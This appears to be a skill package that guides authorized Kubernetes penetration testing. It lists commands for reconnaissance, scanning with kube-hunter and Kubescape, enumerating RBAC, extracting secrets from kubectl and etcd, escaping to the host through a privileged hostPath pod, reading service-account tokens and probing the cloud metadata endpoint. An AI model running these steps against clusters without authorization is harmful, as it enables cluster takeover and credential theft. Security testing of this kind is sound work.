performing-kubernetes-penetration-testing
Evaluates Kubernetes cluster security by actively simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policy, and secrets, using kube-hunter, Kubescape, peirates, and manual kubectl exploitation to find paths to cluster compromise. Use for an authorized penetration test or hands-on validation that controls actually stop an attacker. Keywords: kube-hunter, Kubescape, peirates, kubelet 10250, anonymous auth, token theft, lateral movement, cluster takeover. Do not use for a configuration-only compliance audit - use performing-kubernetes-cis-benchmark-with-kube-bench.
- License 许可
- Apache-2.0
- 最近更新
- 2026-08-31
- Stars
- ★ 3.6w
- Forks
- 4.4k
01 前言 Front Matter
- name
- performing-kubernetes-penetration-testing
- tags
- [ "containers", "kubernetes", "security", "penetration-testing", "offensive-security" ]
- author
- mahipal
- domain
- cybersecurity
- license
- Apache-2.0
- version
- 1.0
- nist_csf
- [ "PR.PS-01", "PR.IR-01", "ID.AM-08", "DE.CM-01" ]
- subdomain
- container-security
- description
- Evaluates Kubernetes cluster security by actively simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policy, and secrets, using kube-hunter, Kubescape, peirates, and manual kubectl exploitation to find paths to cluster compromise. Use for an authorized penetration test or hands-on validation that controls actually stop an attacker. Keywords: kube-hunter, Kubescape, peirates, kubelet 10250, anonymous auth, token theft, lateral movement, cluster takeover. Do not use for a configuration-only compliance audit - use performing-kubernetes-cis-benchmark-with-kube-bench.
- mitre_attack
- [ "T1610", "T1611", "T1609", "T1525" ]
02 资源文件 7
- 资产文件assets/template.md1.1 KB
- 许可证LICENSE11.0 KB
- 参考文档references/api-reference.md1.5 KB
- 参考文档references/standards.md1.6 KB
- 参考文档references/workflows.md2.7 KB
- 脚本scripts/agent.py7.4 KB
- 脚本scripts/process.py15.3 KB
03 SKILL.md 正文
Performing Kubernetes Penetration Testing
Overview
Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.
When to Use
- When conducting security assessments that involve performing kubernetes penetration testing
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Authorized penetration testing engagement
- Kubernetes cluster access (various levels for different test scenarios)
- kube-hunter, kubescape, kube-bench installed
- kubectl configured
- Network access to cluster components
Core Concepts
Kubernetes Attack Surface
| Component | Port | Attack Vectors |
|---|---|---|
| API Server | 6443 | Auth bypass, RBAC abuse, anonymous access |
| Kubelet | 10250/10255 | Unauthenticated access, command execution |
| etcd | 2379/2380 | Unauthenticated read, secret extraction |
| Dashboard | 8443 | Default credentials, token theft |
| NodePort Services | 30000-32767 | Service exposure, application exploits |
| CoreDNS | 53 | DNS spoofing, zone transfer |
MITRE ATT&CK for Kubernetes
| Phase | Techniques |
|---|---|
| Initial Access | Exposed Dashboard, Kubeconfig theft, Application exploit |
| Execution | exec into container, CronJob, deploy privileged pod |
| Persistence | Backdoor container, mutating webhook, static pod |
| Privilege Escalation | Privileged container, node access, RBAC abuse |
| Defense Evasion | Pod name mimicry, namespace hiding, log deletion |
| Credential Access | Secret extraction, service account token theft |
| Lateral Movement | Container escape, cluster internal services |
Workflow
Step 1: External Reconnaissance
# Discover Kubernetes services
nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com
# Check for exposed API server
curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version
# Check anonymous authentication
curl -k https://target-cluster.com:6443/api/v1/namespaces
# Check for exposed kubelet
curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods # Read-only kubelet
Step 2: Automated Scanning with kube-hunter
# Install kube-hunter
pip install kube-hunter
# Remote scan
kube-hunter --remote target-cluster.com
# Internal network scan (from within cluster)
kube-hunter --internal
# Pod scan (from within a pod)
kube-hunter --pod
# Generate report
kube-hunter --remote target-cluster.com --report json --log output.json
Step 3: CIS Benchmark Assessment with kube-bench
# Run kube-bench on master node
kube-bench run --targets master
# Run on worker node
kube-bench run --targets node
# Check specific sections
kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3
# JSON output
kube-bench run --json > kube-bench-results.json
# Run as Kubernetes job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench
Step 4: Framework Compliance with Kubescape
# Install kubescape
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
# Scan against NSA/CISA hardening guide
kubescape scan framework nsa
# Scan against MITRE ATT&CK
kubescape scan framework mitre
# Scan against CIS Kubernetes Benchmark
kubescape scan framework cis-v1.23-t1.0.1
# Scan specific namespace
kubescape scan framework nsa --namespace production
# JSON output
kubescape scan framework nsa --format json --output kubescape-report.json
Step 5: RBAC Exploitation Testing
# Check current permissions
kubectl auth can-i --list
# Check specific high-value permissions
kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*' # cluster-admin check
# Enumerate service account tokens
kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'
# Check for overly permissive roles
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'
# Test service account impersonation
kubectl --as=system:serviceaccount:default:default get pods
Step 6: Secret Extraction Testing
# List all secrets
kubectl get secrets -A
# Extract specific secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d
# Check for secrets in environment variables
kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'
# Check for secrets in mounted volumes
kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'
# Search etcd directly (if accessible)
ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get /registry/secrets --prefix --keys-only
Step 7: Pod Exploitation
# Deploy test pod with elevated privileges
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pentest-pod
namespace: default
spec:
hostNetwork: true
hostPID: true
containers:
- name: pentest
image: ubuntu:22.04
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
EOF
# Exec into pod
kubectl exec -it pentest-pod -- bash
# From inside privileged pod - access host filesystem
chroot /host
# From inside any pod - check internal services
curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Step 8: Network Policy Testing
# Check for network policies
kubectl get networkpolicies -A
# Test pod-to-pod communication (should be blocked by policies)
kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc
# Test egress to external services
kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com
# Test access to metadata service (cloud environments)
kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/
Validation Commands
# Verify kube-hunter findings
kube-hunter --remote $CLUSTER_IP --report json
# Cross-validate with Kubescape
kubescape scan framework nsa --format json
# Check remediation effectiveness
kube-bench run --targets master,node --json
# Clean up pentest resources
kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata
References
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